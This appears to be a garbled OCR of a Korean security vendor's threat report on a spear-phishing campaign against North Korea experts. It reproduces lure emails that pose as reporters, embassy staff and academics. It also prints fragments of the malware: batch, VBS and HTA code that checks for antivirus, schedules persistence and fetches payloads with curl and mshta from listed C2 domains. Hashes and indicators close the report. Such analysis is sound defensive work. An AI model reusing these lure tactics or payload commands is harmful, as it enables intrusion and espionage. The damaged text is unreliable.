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Happy CHRISTMAS!!!
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Greetings all.

Happy CHRISTMAS to youlll

Best for the New Year and the coming Year of the Rabbit

Best wishes,
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Request for comments

e e st rfaink >
2023-02-16 2F 435
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2= AR

E 4] After-Action Reportdoc
|=| 4197KB

KA TIFCL
Greetings.
Hello == this is from RFA. Hope you are having a

pleasant day today.

| would like to request a brief interview regarding the NK's Nuclear.

Last month, South Korean President Yoon Suk Yeol catalyzed 3 once
forbidden public debate over whether or not South Korea should go
nuclear by suggesting that Secul might need to acquire its own nuclear
arms if security tensions with North Korea worsen. This prompted a
flurry of press coverage on what Washington was prepared to do to use
its nuclear forces to fortify South Korea's security against any North

Korean land attack.

Invitation for the Korea National Day 2022
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e AR

TOOA T H T <puismmimm@mofa live>
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Re: Book on Understanding North Korea Re: Book on Understanding North Korea

B i Sl -~ ESsmma@yonsei.lol>
2023-08-24 2% 316

5 Ry e e semm=@yonsei.lol>

2023-08-24 2% 329

B AE: z

Dear

rr

A

B

NK_nuclear_threat.zip
9.43KB

Dear

Hope this email finds you safe and well.
just saw your email in my spam box.
Hope this email finds you safe and well.
just saw your email in my spam box.

And sorry for my late response. I

Znd sorry for my late response. I

Attached is the draft to be published mid of Sep.

Attached is the draft to be published mid of Sep. hteps://1dry.ms/f/s!Ao8G44b LN g

aw =
L]

BW: 13579 PW: -

Please let me know your opinions about this. Please let me know your opiniong about this.

Best wishes, Best wishes,

On 2023-08-18 11:24, N e WTOTE

On 2023-08-18 11:24, - W
Dear s .

Dear ~®

I hope all is well with you. Was the book on North Korea ever
published? I never received a copy of it. published? I never received a copy of it.

Thanks and best regards, Thanks and best regards,

= wrote!

I hope all is well with you. Was the book on North Korea ever
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Request for your thoughts on the May 7-8 Korea-Japan summit
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emergence of Indigenous Nuclear Weapons Debate
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AT Iy HY2 X7 OFEE 2fglo] 2|4 HYS B Hez 235t I =ohE o o]
&Mooz WEHoH, slAHYUS Hi £AIXE= APTEAS 28t dMT =0 HE=US 7ty

ol A2E 0 KMI=(Subject)

d7| oid A2 LAEQ MY WEL 2 U LIXtof| A &3

AL HEE EEEY + UEE REICh
St =k Z|ot= = B g . .
%@g,—g%gg{éﬂlﬂ IGH= 7/20(%) CFOZZMDILE - Mongolia's Role in Northeast Asia

- [JoongAng] Request for your comments

- NK PRO

=1
=

- [27fehstal Fax
Sefeguc

12121 HOLMoEA ZH o Bl

njo

- Question on North Korea's satellite launch

- [SOFA|OAT3] OFAJORIZEF O AT H E IS (ADRN)

e =g
OlrEzlE e 2F

- Re: Book on Understanding North Korea

[SURIRIERH - Republishing post

- ZE U H-SIZHEXEHATLE SSFZ| MEI EES| ) _ .
(SZA|0F QE4 HH2) JHZ| OHLH Request Comments from Honolulu Star—Advertiser

(o F - Request Comments from RFA

RN - Request for comments

- comment please

- Request for Meeting(Korean Embassy)

- emergence of Indigenous Nuclear Weapons Debate

- Request for reviewing

- Help Shape NK News: Take Our Survey and Win
a Free Subscription!

- Request for thoughts

- Humanitarian aid for north korea

- Request for your thoughts

- Interview request from the Korea JoongAng Daily
on the 70th anniversary of the Korea—U.S Alliance

- Request for your thoughts on the May 7—8 Korea—Japan
summit

- Introducing

- Request from Princeton University

- Invitation

- Updating account information

- Invitation for the Korea National Day 2022

- US policy on China

- Invitation in a virtual workshop on South Korea' s
relations and views on Russia

- Writing for Global Observatory

- Lunch Invitation to meet with Senior Deputy Minister
for Foreign Affiars, Takehiro Funakoshi

- Yonsei Comments Request
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Dear Mr.
| wish you and your family a happy new year!
This is

, a First Secretary at the Ko

| would like to request a meeting with m o

MARS(National Assembly Research Service) in Kor
MNARS was founded 16 years ago by benchmarkin
A four person delegation will visit here in DC fron|
Two paople are researchers specializing in Korean
including foreign policy. They hope to hear and s

North Korea issue.

Would it be possible to have a one hour meeting

15th ?

The meeting with you will be very helpful for the
policies related to Morth Korea.

| look forward to your positive response.

Sincerely,

First Secretary

Re: Request for Meeting(Korean Embassy)

B g s@mofa.live >

2023-01-11 2% 542

(23 8] Y4

HAURI Security Rep

= AME:
Meeting zip O] . e I
b
g 414KB TR
Dear Mr. L

Thanks for your kind feedback. I look forward to seeing you on Jan 13th. As
you regquested I've just shared the attached that contains exact participants

and the other details of the meeting.

PW: mmmames = o

P.5 If problems, please open it by using WIN-0OS.

Sincerely,

First Secretary

Embassy of the Republic of Korea

™ wrote:
at our officesg?

On 2023-01-05 10:35, ™= L
Thank you. Why don't we meet here,
L Street, NW. How many pecple will be wigiting?

From: 0 & Imofa.live>r
Sent: Saturday, January 7, 2023 2:24 BEM
To: j:= ] BEL . .2

Subject: Be: Reguest for Meeting {Eorean Embassay)
Dear Mr. i

Thank you very much for accepting the invitation.
1. Date/time: Friday, Jan 13: 10:15 to 11:15 ZM.
2. Place:
What thoughts do vou about this?

If you have any guestions,
forward toc gseeing vou soon.

Sincerely,

please feel free to contact me.

We are at 1819

Best,

Pleage let me know the place where you prefer to meet.

I look

LIXERE AFLA0]E 0=

AN

ot A E(Meeting.zip)S 24




Request for comments
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2022-12-05 2% 356
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Dear ==

| hope this email finds you well.

Wondering if you may have the time today, to send me your thoughts on
MK's ICBM? | am writing, later today/tonight, a piece locking at the
details of Hwasongpho-17. | look forward to hearing from you soon.

Best wishes,

comment please

H - h —@yonsei.l°|>
2023-06-26 27 9:26

1 CIM NK_nuclear_threat docx I AFTILOI
56.22KB o o -U-I' =

Dear | —

| hope this email finds you well.

| am writing the draft, later today/tonight, a piece (North Korea's
Muclear Threats: South Korean Perception and US Muclear Extended
Deterrence

). Would you kindly give a comment on it? Am | missing something?

Your comments will be greatly appreciated.

Best wishes,

oA ¥

2023-02-23 2% 524

— !
= AR

.
Zmas glosstar e

e N

W B IR N @yonsei.lol>

Oj=2| A YA of et S8te] =80 0j=2] 27| 40 YA e 7otel $24E 2

25/25 g0 n=o| 0|F 23§ 2RE SOF S=X[0f CiE M2 AEE dHEE 25 43 floja.
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Yonsei Comments Request
el ol @l Em@yonsei.lol >
2023-04-11 27 959
= AE:
Re:
Dear Mr. ™OH ESETa

My name is = = ., and | am a student at Yonsei univers
concentrating in Government & East Asian Studies and am enth
about your research interest in international security and Morth
Muclear issues. I'd like to complete my thesis with help from yo

is an expert of MK

My senior thesis is on the topic of "China's Role in the North Kc
Muclear Issue: a Doomed Future due to the Outbreak of the Rus
war’.

The ongoing Russo-Ukrainian War further inspired me to study
topics, leading to my new thesis, entitled The Impact of the
Russia-Ukraine War on the DPRE Nuclear Issue. Consequently, |
focus on the DPRK nuclear issue during my PhD program, strivir
analyze China's role in the DPRK nuclear issue during the war in
and its impact on regional stability, thus providing a referance fi
studying the development of the DPRK nuclear issue after the w
Ukraine. Your research experience in Morth Korean nuclear and |
rights and missile defense systems indeed encouraged me to se
suggestions on researching the Morth Korean Muclear Program':
on security in Mortheast Asia. Your academic instruction will be

valuable and constructive.

| would like to ask if | can accept your assistance in completing

thesis this month.

Pleaze let me know if you would be willing to assist.

We can offer a token honorarium of $250 for your support.

Thank you so much, and | look forward to speaking with you!

: H ——— —onsei.lol >
=

2023-08-01 2% 5:21

HrE AL
Research Proposal-Haowen...
[ e otgAC

Dear Mr. S u—

Thanks for your fast feedback.

Just now, I've finished my draft. So I'd like to send it for your

review.

PW:

Thanks for your consideration and time again.

Please let me know if any problems.

Best regards,

w

On 2023-07-31 1459, = Bl M wote:

> | will read your draft.

(2 1] =
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v UBOISY 707 7| SEEYUR Qe 23 SO HEoR ¥R
v B 7IAS EH| B0/2Hs Lig2R QIER &

anniversary of the Korea-U.S Alliance

s "am - ks sm w@joongang.site>
2023-03-13 2F 3:44

Interview request from the Korea JoongAng Daily on the 70th

HE

= AHEE

rr

Greetings,

Hope you are safe and well.

This is " « ., reporter from Korea JoongAng Daily.

| am reaching out because our newspaper is currently pn
series assessing the current status of the Korea-U.S. alliar
the 70th anniversary of the alliance this year. Your old arl
Morth Korea Prediction for 2018," which also covers exter
these key issues surrounding Korea-U.S. relations, has be
in my research process.

If your time permits, | would like to take this opportunity
request an interview to seek your insight and expertise o
status of the Korea-U.S. alliance to mark the 70th anniver
alliance this year. The special feature article aims to seek
by leading experts in Korea and the United States on the
progress and key challenges faced by the allies.

| have enclosed below a list of potential questions for yo
The Korea JoongAng Daily is aiming for the feature articl
end-March.

Again, | thank you for your time and interest during a bu

be reached at s ite at any time!

Best,

HAURI Security Rep

Re: Interview request from the Korea JoongAng Daily on the 70th
anniversary of the Korea-U.S Alliance

q' g H H@joongang.site:-
2023-03-20 2% 602

B AE:
(= Questions from the Korea.. oA 5 C
: é 84.97KB N
Dear Dr. =} m I

Thank you for your fast feedback. Attached iz the paper as you reguested.

EW: s

Please find it and let me know if any problems.

Be=t

Haley Yang

Reporter at the Korea Joonging Daily

Korea JoongAng Daily/International New York Times
@joongang. =i

https://koreajoong

lon 2023-03-19 09:23, EEUH wrote:|
Please send me the paper.

C
=

i

=dl X}

Professor 'l Emm - .

————— Original Message--—-—-—-

From: "BRE < §8joongang.site>

To: <ppEiagdfnever.com>; ol
Ce:

Sent. 2023-0%-17 (=) 15-3%-40 (EMTL09-00)

Subject: Interview regquest from the Korea JoongAng Daily on the 70th

anniversary of the Korea-U.5 Alliance
O=ar DY, e =,

Hope you are safe and well.
This is s Ieporter from Korea Joonging Daily.

T am rvearchina nat hecanse nur newananeT iz currentlv nrenaring for A
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o mm@rfainks
2023-02-23 2% 612

[-19

Request Comments from RFA

)\l. 2k

(=5

rr

=

Greetings,

Hope you are safe and well.

This is g reporter from Ra
| would like to request comments
South Korea's Yoon government &

Morth Korean human rights activi

Background: Last month, the offic
president met North Korean defe
communication line open with thi
chairman of Fighters for a Free Ni

to distribute leaflets via drones to

| would love to get your commen

today. If it's not possible, email ar

| apologize for the last-minute re¢

availability. Thank you very much.

Thank you.

Best,

Journalist

Korean Service

Radio Free Asia

2025 M Street NW Ste. 300

Question on North Korea's satellite launch

T EERPrfainks
2023-06-06 2= 336

L= AE: @gmail.com

Dear Mr. =8

How are you? This is

=

|, reporter from Radio Free Asia.

| want fo ask you questic Reque“ for comments

a few days ago, which fa

2023-02-16 2 F 438
| am aware that you wrot

Hi
=

AP

rir

that we now know about

S cmm(@rfa.inks>

After-Action Reportdoc

] =
=] 41978

| would like to know wha

second stage. Also, | war

_ 0
0x
0 =
e

b=

satellite launch of Morth

| prefer to receive from y Greetings.
comments soon.
Hello Mr, Toeswms ssssmmms. this is
Best, pleasant day today.
Last month, South Korean Preside
forbidden public debate over whe
Em e B
Journalist

Korean Service

Radio Free Asia its nuclear forces to fortify South

2025 M Street NW Ste. 3| korean land attack

== from RFA. Hope you are having a

I would like to request a brief interview regarding the NK's Nuclear.

nt Yoon Suk Yeol catalyzed a once

ther or not South Korea should go

nuclear by suggesting that Seoul might need to acquire its own nuclear
arms if secunty tensions with Morth Korea worsen. This prompted a

flurry of press coverage on what Washington was prepared to do to use

Korea's security against any North

Washington, DC 20036
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emergence of Indigenous Nuclear Weapons Debate

] 5 2 =

= o mom—.
2023-06-06 27 11:40

P

= AR

fr

@mofa.gokr

DearMr N &,

My name is e « @princeto

supervision of Dr. & we « from Priny
working on a research project regarding the ry
Korea about an indigenous nuclear weapons ¢
understand the motivations, processes, and ke
discussion, as well as how the ROK-U.S. alliang

3 development.

To this end, | would like to interview you to by

discussion and its context, from your perspect

1 will be in Korea between June 15th and June
delighted to conduct the interview in person.
open to conducting the interview remotely ov
and time of your convenience. The interview s
sixty minutes, would be conducted primarily it
conclusion of the interview, | may ask for refe
individuals who might have relevant or similar

valuable to interview.

Before conducting the interview, you would by
consent form for your participation, which will

anonymize responses and whether to allow th

‘We would very much appreciate your participauon. v you woum ine w
participate, please respond to this email and you will recsive the

censent form. And if you have any additional questicns or concerns,

please don't hesitate to reach out to 1 i

on.bio>

HiAs
=2O

&

ZOOM' MX| RE(HTE)

AHE:

2023-09-13 27 10:21

rir

HE.
=

Re: emergence of Indigenous Nuclear Weapons Debate

o — s (@ princeton.bio >

Consent Form_Princeton ..

CEL

Mon, Sep 25: 4:15 to 5:15 PM
Tue, Sep 26: 2:30 to 3:30 or !
Thr, Sep 27: 10:30 to 11:30 A

In the meantime, I am attachi
it and send your signature as

I look forward to meeting you

Thank you once again for your

Sincerely,
L

Ph.D.

via

% 213K8 = : i
(Consent Form_Princeton Study.vbs)
Re: emergence of Indigenous Nuclear Weapons Debate
Dear S, e L L “impem@princeton.bio>
2023-06-19 27 11:43
Thanks very much for agreeing
= AE: @korea.ackr
If 20, I'd like to hear direct
Dear . RN
Please check your available t:

Thanks very much for remembering me and for agreeing to make time to speak with
me.

€/28 4~6 Pm would work for me.

In the meantime, I am attaching the aforementioned consent form. If you have
any questions, please don't hesitate to ask.
(PW: 1l

Attachment 2§53 &3

I look forward to meeting you soon.
Thank you once again for your consideration.
Sincerely,

=

E¢princeton.bio
-

m, Princeton Universicy

1]

On 2023-06-18 09:41,
Hello!

[ a1 / IFTEESPTY | wrote:

ol A 8 |

Please visit my office in Korea University.
Korea University Alumni Building = =

You can easily arrive there from the gate number 2 of Eorea Univeraity
Station, Number & subway line.
PM 4~6, 28th Wednesday.

Prof. =

hiro/share

cription

LEL} C&C MHOfM L=

Ol')g

ot

-

BS(Consent Form_Princeton Study.vbs)
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B aiLct
= =[5
R |, T N L N ey @gmail.com> 01T 84 e

e 2.0:3:35:-2; e 4;fukurea.slorE> 2023-05-25 27 10:06 (2ah)

oo uE
B AR @sogang.ac.kr =

i Haw
M2 T RS

YEI HE T HABSUCE 2 715 THA bl St ZAEE LD
SRISHILINI §ifcs

(A2 cFO #3|(www.cfokorea.org ® [ =1 )0llA MEsh= cFo ZXMIOILH CF
Round Table) ZIHGHS SELICE

(Ah21R cFo Bl 2002 1 S4BT HIZe] ATICIoR K 2RAVE eRISE B Famna,
L e Hhl SIENIE ZEN SHEAM TM22 RAISEUC.
B 12 CFO(NIPET  DT) PR HOF 014 HsHD Ol (18 HDA BIS Tatt BHE HTSeU YHTEN BB FaZl LD

5ol IHE cro ZZHI0IULS WElstD QLELIch
hteps://ldrv.ms/t/s | AntyfTHLEqukaTCYvzN3v-DE4Rw?e=BeQfwx ( BW: ® % )

cro ZEAHIOILW = #AL CFO 400 HIES 1€ B2 70~90 0{ 20| A 5t0 A SUCH

Al

Zrakgct.
@ ) M=2lF outlook2 0123 24 8. stZcrons mas WEF =2
Re: B CFOBE|NIM 7HESHE 10/19(F) CFOETAIOILL ZHREE =
@ gLck, On 2023-05-23 21:44, i wrote: AT BA HY
5 SRR AU, (17
RAx om0 mepesge@cfokorea.store>
‘flul 2023-08-14 25 454 HE R2lof E3FMHA TATUCH 78 202 (5
2 e e P ET0Y FEE BES BASUC. ojo2oA
Ea o LLTHA AT HHT cro ZEHOIL YEZH
() SHOEAZHHI B AT, e R R TRa] et e RS =
= :
FU M YA 2HN =R W mmm@cfokorea.store>
(3) 2023-05-28 2F 541
BT O e ZEARS] Bt L O we s @sogang.ackr
FAMS0= 0|40 GE UL ol 28 f2= ZA HHXEEN ZHE]
HY IZ & 0f| ™ Q) L)}, = o=,
ittps//1dre mefs T2 F4 BT HHERS?
aoBg44b_1u9fdigfkhOateqoay?e=5frig0 GI‘S:_LI Ol' %—1 E}gﬂ" QJ—I— H‘?AI)[ HI’EH
232 mepota s SsHA L ol e, EECHAl HIE =2 EISELICH
=M M el 0 tHDE HI R CHE0l OlLi22 ZOF ZJIFRINY SHER = & BYSAsR 2250 22 i HY
T ———— =gt
okl 1= 108 R2Y(EHA] ELIFAIE ZARHIS L HiAlCIRtE =2 FAID Tap B HZ UL =22 FAD HiEUc
LY = oo Moz 26 Z== #E 34 JIcke2iaUct.
H|ZH 30| L2 =0 mfsl 2o AlZ Hiatl 00| ZAFE UL e ! : -
HHEA =) ZSEUCH
5 ZAELCE.
ZhAbetL 512 cro 845 mi® R =2
LR E Y
On 2023-05-23 04:55,  mesmmeiisogang.ac.kr wrote: = IF S A MY
On 2023-08-13 06:28, = wrote:  =ALTF SIA Y L oL o
=i A2y, —
orgside. 52 TEO ZASTUC. B S0l
Q=M ZARUL i B
de HS5L <f3to|y HBY SHEAM 0= AR LD
SHAEUCH. = Bach AR el AHEX
@TA| UL ¥ 3
ZAELL ‘
o o
[2 18] ~AIXte| SHOIY0 Adis HE K=
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oyTE0| I MY 2R

Re: Request for Meeting(Korean Embassy)

2023-01-20 2% 516

e T wedime B@mofa.live>

= AR Daol.com
= Draft Talking_Pointiso OF Ad =
] | I +
v\ 99.97KB HedE =
Dear R

Sorry for my late reply. San Diego time!!!

Attached is that contains the specific points(Participants and Talking
points) during the meeting in advance.

EW: |

Request for your thoughts
Please let me know your available time as soon as possible.,

ey o e s @yonsei.lol >

I 2023-03-01 27 937 Have a good weekend.

fr

= A s@mail harvard.edu

£ Sincerely,
7 paper_draftiso

“'| 14397kB

Re: Interview request from the Korea JoongAng Daily on the 70th

Embassy of the| anniversary of the Korea-U.S Alliance
Hope you are safe and well.

on 2023-01-18 Eminy (ol g @joONgaNg site>
Yesterday, | had finished a paper-draft (North Korea's Challenge Just to be = 2023-05-03 28 11:27

U.S. Nuclear Extended Deterrence for South Korea and the e Iiege B s
e ArE: @gwu.edu

Forward-Deployment of U.S. Nuclear Weapons Option). So | am

JoongAng_interview.iso

ask your thoughts on this. It's written in a hurry, so it won't be ¢ y]
“'| 11397K8

Please feel free to comment.

PW: r— ——

Dear Mr. » =
Best wishes,
Thank you very much for your kind answers. We've just finished the review of
your answers and it would be very helpful to us. I did update it a bit, so
= please find the attached and let me know if any opinions. Then, I'11 release
the memo in a few days.

Pasgword: s "

Thanks again for your consideration and time.

Best,

L] =
Reporter at the Korea JoongAng Daily

Korea Joonghng Daily/International New York Times
= )
https://kor

y.joins.com

On 2023-05-01 21:25, ] & wrote: =0T S HY
Hi mwem: '

I tried to answer your guestions below. Please send me the article if
I am guoted.

HAURI Security Repo
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@ A E2t Al OLE 7HA[0ll 2lsH %Temp% SH0| Ha TUZ EE = EA TH(hwpfile)t
ot AFZE(hwp.bat)E Mt
@) ETH hep Fokder
R Sen[B] Ciested Loyl A bt
] EBHODO OLE ! : - - ; - i -
3 B OLE [T R OLE TR TR0 BT A0 WA 2T S0 0100 B a0
) EO003 OLE __'!NN{IIIIULI’. ISR NN RES0. WA ER S0 G &2 a0
-] — L.l BIRDDDROLE 434 BN 28 80 B0 28 30 6N &8 80
' L. BI04 OLE 152 RO 2R S0 R R 90 N0 £ 50
ey BoscheT st
F i Dosiiptons
by Seapls
] Dociela
N Flatlanda
] M ummanirdomaton

(22! 26] HWP THUof| A= OLE 7HX|

uy 7=

MD5

% Temp%Whwpfile

420A13202D271BABC32BF8259CDADDF3

% TempP%hwp.bat 183A514A151388D8348689922CC62929
[H 4] ddE ods 2
@ FEE EAMoll= MEE hwp.bat Tt HZE 510|m2 T 7} LE2CH,
, | _
SHIHY3 DA o
[F 2aueume EAZ EREIN | 22HEEH hwpx -] | DRz
@ SRO: [T HEAA0E 2N -] | sz |
]ﬂ ik oh HE [ LHEN [, #t&ppDatattloc al Tempithwp, bat | - | |E|

|2 22> Z2(F)|

(22! 27] hwp.bat Tt HAZ 5H0|HZ=

@ sto|ME T 22! Al M=l “hwp.bat” IFUE “hwpfile” IMUS “HOA2A hwp” 0|22 E HA
H hwp, bat 3 |
1 mode 15;1
2 cd btemps
i rename hwpfile =22hMeAd hwp
:'.;_"l-w‘!..'.a..

[Z12! 28] hwpfile 0|12
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[ 2R H4z M2 ]

B o8 M % M

2o Frlokni AFREE THU0l Qo) he AR FFY A& Mok
o,

1 Y= A42E 2F 3 S7P12e AFEAY dAEA € A% 2
& 780
2. 377109 F4L HE o)FA k= AYLE BN SrRIEL AAAES

[2& 29] HOtMeFM hwp

® 0|& ZtY PCOl| Kaspersky, Avast BiAl 2 MATF Aldl =OIX| ZHAFSICT

wcha aff
sat "RvasciD="
aet. "KazpIh="

Far fF =skip=2 cokena=l delimas=," i dn |
'smic process whers * Name ke * Astuivy " et P =3 & forma
} oo sat “AvastIDehis™
a &0 1
avpal . exetd' or Rame lilee *Siavp.exetdt *

3 flormaticav”

[ 31] Kaspersky BiAl A A 131 S2

@ Avast HiAZ AIZst US B2 “shortvbs” LIUS curl BHOE CHREE B2 &

CMD.EXE Al A| “shortvbs” 7} AlSHE|| Y| X|AER|E £ASHT}

MSHTAZ AF23H ava.htaE AISHA|ZICE

= Short.vbs CF2EE FA : hxxp://privateml.online/kang/ca.php?na=ger0.gif
= Ava.hta CI2EE FA : hxxps://privateml.online/kang/ava.hta

f not

curl -o

rename %appdata
v AutoRun
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SRE SUTHA(S4] TTAFT0 RY 24 HOIF GUAL

[23 33] 2 A7 &0 S2 = solve.vbs

re=fs.movefile(gpath, bpath):
.run(bpath,®,true):
deletefile(bpath):
Else:
Post@.

Post®@.

"GET™, “http
setRequestHeader
Send:

ntent-Type”, "applic

onseText:
df.CreateTextFile(gpath,True):

f/privateml.online/kang/d.php?na=battmp”,False:
tion/:

www-form-urlencoded”

(18] 34] solve.vbs ZE

@ 0|% MSHTAZ AI2dH def.htaS MEHA|ZICH

» Def.hta CHRZE T4

-open
tion/x-wi -L s .Send: t0-
soft\solve

schtasks /create /tn CleandownTempora

rename %appdata®\microsoft)
start /min mshta https

(22 35] =t

@ 24

I0C

* A33FF775E4530F3FC5E58470C4E4BCAS (2 2HM A hwp)
+ 31C414633476205DF29B8000709D8223 (hwp.bat)

* 420A13202D271BABC32BF8259CDADDF3 (hwpfile)
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(gpath) Then: re=fs
,False:
gpath,True):f.

(bpath,

sc minute /mo 41 /f

AIEY MA = defhta A
& 2 Qo FIH 242 E7s3C

c&c

* hxxp://privateml.online/kang/ca.php?na=ger0.gif
* hxxps://privateml.online/kang/ava.hta
* hxxps://privateml.online/kang/d.php?na=battmp
* hxxps://privateml.online/kang/def.hta
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Himp,hatﬂ]
1 mode 15,1
cd %temph
rename "hwpviewer" "J{¢IEE +T 2 0| =OA_hwp"
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S8 EHOXZE HYAMR

FAReE TL i

ZE02 AIF wscript.exe /b chusers\publicdmusichselvevbs

(O™ 41] 2 A7E0| SSE solve.vbs

Aol E
CIRZE MESH OHS ASHE solve.vbs T2 E}OEE HHO}2

=1

On Error Resume Next:

ptlﬂb FileSystemObject™):
Post® = CreateObject(“msxml2.xmlhttp™):

df = CreateObject("Scripting.FileSystemObject™):

rs\ADMIN-PC\AppData‘\Roaming") ofthgwer.gif"”:
ers\ADMIN- AppData\Roaming") "\Microsoft\gwer.bat":

gﬁath,bﬁathj:
.run(bpath, @, true):
El
Post@®.open "GET", "https mngrdp.site/kang/d.php?na=battmp™,False:

st8.setRequestHeader "Content-Type”, "application/x-www-form-urlenco
t8.5end:

Post®.responselext:
asdf.CreateTextFile(gpath,True):

(12 42] solve.vibs TE

@ 0% MSHTAZ AR5l def.htaZ AMSHA|ZICE
= Def.hta CF2EE FA : hxxps://mngrdp.site/kang/def.hta

schtasks /create /tn CleandownTemporaryStates /tr "

wscript.exe /b c:\users\public\music)
solve.vbs" /sc minute /mo 41 /frename c

L..user:'publichmuzic\salue solve.vbs
start /min mshta https://mngrdp.site/kang/

[ 43] 2 A2 MY = defhta A&

=M Al C&C MHO|IM def.hta It CIREEE &

= =

1
gQ
2
i
N
HI
1z
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THI
N
or
(:)II:I
n

I0C

+ DA3CAECEBEB49E9SECECAC272457D36E (FHRIME 4% L 0|8 S2|A.hwp)
+ DE960B84D08D781E34785F28BIF791F5 (hwp.bat)
* 466838EE4620AA0DD549C81C87E7ED8A (hwpviewer)

c&C

* hxxps://mngrdp.site/kang/d.php?na=battmp
* hxxps://mngrdp.site/kang/def.hta
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ECHE Y AfZte= 20EH & 2 15 ZNHR] ZUED 2WFAE ZEAbsRaLUCH

PEHDAE HEcEd ERot2Y 2AD EDOHIH ZH0EHHEAD] HEEUCH

wxH|H ™

HALSZIH EHE 5HF 2UWAIZ HHELUCH
ZAFEILICE.

On 2023-07-04 07:50, 'meEs [ ul / @8 emsamEs | yrote:
o EEisUO

Zo| UXTL s 20¥L2 L YUQAHe EM O oFBLHA.

42 HSZ2 0T 45AI0f THEt= 2" of !E Zt=2k U
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ZID=E H 3. docx ——
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Sy A=, A Al 2t IfUo|M CHS URLO| &St H
tE[HIO[2A MIE IR E Selstct
hwo.bat https://docsl.]google[.Jcom/document/d/1fVIUSjwzISVvEpmVmbvgUSHoRIiBURZ /edit?usp=sharing&ouid=10175
P- 1284916638558750&rtpof=true&sd=true
pdf.bat https://drivel.Jgoogle[. Jlcom/file/d/1AwzYzARNTXFXMRU9ONUJ8UPdk71pb800A/view?usp=sharing
[ 6] T&6H= URL
I‘nc:de 15,1

start explorer “https://do

“avpui.exe’

f not

curl -0 "c
rename c

start /min mshta https

C Command v AutoRun /t REG_SZ /d "wsc
exit

(23 47] QtE|HIOl2A HIE G2
® KasperskyZt £Xl5tH AMEZ, AvastZ7t EXGHH CHS MHOIA D
videos EH0f| LS XZEot H, 2IX|AEZ|0| IUS SEH KAISAY ==
= MH : hxxp://namsouth[.Jcom/gopprb/press/cal.Johp?na=reg0[.Jgif
= HAAZR  c:WusersWpublicWvideosWvideo.vbs

if not
curl -o

rename c:
reg add

mshta https:
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* MH : hitps://namsouth[.Jcom/gopprb/press/d[. Johp?na=battmp
" MEAR  ciWusersWpublicWvideosWdream
= X|& AIGH URL : https://namsouthl.Jcom/gopprb/press/def[.]hta

echo On Error Fpsump

:Set fs

("msxml2.x

:gpath

:bpath = ws.EhpdndEn. Jnmuntbtrlngs{
:If fs.FileExi path) Then: re=
run(bpath, 8, : Fi

"Content-Ty
b Jnrodpd"'P‘ft@ d:t@ t0@.responselext:5et ¥ = asdf.
:f.Write( t@):f.Clo Tef \users\public)
n CleanupTemporaryState /tr "wscript.exe
" [sc minute /mo 41 ff

ess/def.hta
(22 49] 712 == A
10C C&C
* ED3F5E93F3FFBECOFEO84FE23A067804 (R A MIZ! hwp) * hxxps://namsouthl.Jcom/gopprb/press/d[. Johp?na=battmp
 717FAI39BD36A43F0252A362ECEB2EBT (hwp.bat) * hoxps://namsouithl. Jeomy/gopprby/press/defl. Inta

* A38657547F1IBCCB3B76C262C9810DD96 (pdf.bat)

* hxxp://namsouth[.Jcom/gopprb/press/cal.Johp?na=reg0.]gif
* hxxps://drive[.Jgoogle[.Jcom/file/d/1AwzYZARNTXFXMRU9NUAJ8U

Pdk71pb800A/view?usp=sharing
* hxxps://docs|.]Jgoogle[.Jcom/document/d/1\VIUSjwzISVvEpm
VmbvgU5HOoRIjjBURZ/edit?usp=sharing&ouid=10175128491663855

8750&rtpof=true&sd=true
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sc minute /mo 41 /f

create /tn CleanupTemporaryState /tr
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&rtpof=true&sd=true

* hxxps://drive.google.com/file/d/1SwrPDnKuiCB5pLwyaHOP{xSm

LDUWVOkn/view?usp=sharing
* hxxp://namsouth[.Jcom/gopprb/ OpOpO/ca.php?na=reg0.gif

* hxxps://namsouth.com/gopprb/OpOp0/ca.php?na=vbs.gif
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